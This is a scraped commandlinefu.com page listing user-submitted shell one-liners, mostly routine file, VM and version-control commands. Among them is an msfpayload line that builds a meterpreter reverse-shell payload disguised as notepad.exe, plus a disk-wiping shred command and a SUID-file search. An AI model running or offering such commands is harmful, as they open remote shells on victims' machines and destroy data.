Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

All commands from sorted by
Terminal - All commands - 11,586 results
find . -type f -exec grep -l "some string" {} \;
find -amin +[n] -delete
2009-11-20 17:15:28
User: TeacherTiger
Functions: find
-2

Deletes files older than "n" minutes ago. Note the plus sign before the n is important and means "greater than n". This is more precise than atime, since atime is specified in units of days. NOTE that you can use amin/atime, mmin/mtime, and cmin/ctime for access, modification, and change times, respectively. Also, using -delete is faster than piping to xargs, since no piping is needed.

find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
2010-07-23 08:09:47
User: ejrowley
Functions: find grep
-2

If your site is struck with the white screen of death you can find the syntax error quickly with php lint

echo !$
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
acpi | cut -d '%' -f1 | cut -d ',' -f2
VBoxManage controlvm ServidorProducao savestate
mkdir {1..100}
apt-cache policy mythtv
2011-08-05 17:34:41
User: PLA
Functions: apt
-2

Use this command to determine what version of MythTV you are running on a Debian system. Tested on a Mythbuntu installation.

rdesktop -a 16 luigi:3052
cp foo.txt foo.txt.tmp; sed '$ d' foo.txt.tmp > foo.txt; rm -f foo.txt.tmp
2012-09-13 20:57:40
User: kaushalmehra
Functions: cp rm sed
Tags: sed unix
-2

sed '$ d' foo.txt.tmp

...deletes last line from the file

guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
sudo shred -zn10 /dev/sda
2009-04-30 13:02:43
User: dcabanis
Functions: shred sudo
-2

Shred can be used to shred a given partition or an complete disk. This should insure that not data is left on your disk

alias ping='ping -n'
who;ps aux|grep ssh
qemu-img create ubuntu.qcow 10G
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime
2011-10-15 09:21:49
User: anhpht
-2

Boot without CD-Rom:

qemu fedora.qcow -boot c -net nic -net user -m 196 -localtime

echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml
2009-02-16 14:34:05
User: ronz0
Functions: echo read
-2

Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet

LC_ALL=C svn info | grep Revision | awk '{print $2}'
2009-02-16 14:53:52
Functions: awk grep info
-2

This is the simple revision number on stdout, that can be fed to any useful/fun script of yours. Setting LC_ALL is useful if you use another locale, in which case "Revision" is translated and cannot be found. I use this with doxygen to insert my source files revisions into the doc. An example in Doxyfile:

FILE_VERSION_FILTER = "function svn_filter { LC_ALL=C svn info $1 | grep Revision | awk '{print $2}'; }; svn_filter"

Share your ideas about what to do with the revision number !

killall rapidly_spawning_process ; killall rapidly_spawning_process ; killall rapidly_spawning_process
2010-05-20 00:26:10
Functions: killall
Tags: Linux unix kill
-2

Use this if you can't type repeated killall commands fast enough to kill rapidly spawning processes.

If a process keeps spawning copies of itself too rapidly, it can do so faster than a single killall can catch them and kill them. Retyping the command at the prompt can be too slow too, even with command history retrieval.

Chaining a few killalls on single command line can start up the next killall more quickly. The first killall will get most of the processes, except for some that were starting up in the meanwhile, the second will get most of the rest, and the third mops up.

grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort
2009-01-26 12:08:47
User: root
Functions: grep sed sort uniq
-2

This grabs all lines that make an instantation or static call, then filters out the cruft and displays a summary of each class called and the frequency.

df | grep -w '/media/mountpoint' | cut -d " " -f 1
2011-01-21 05:38:05
User: ntropia
Functions: cut df grep
-2

Identical output but a different way without having to shoot with the Awk cannon :)

takeown.exe /F "FILE_or_DIR" /A /R /D O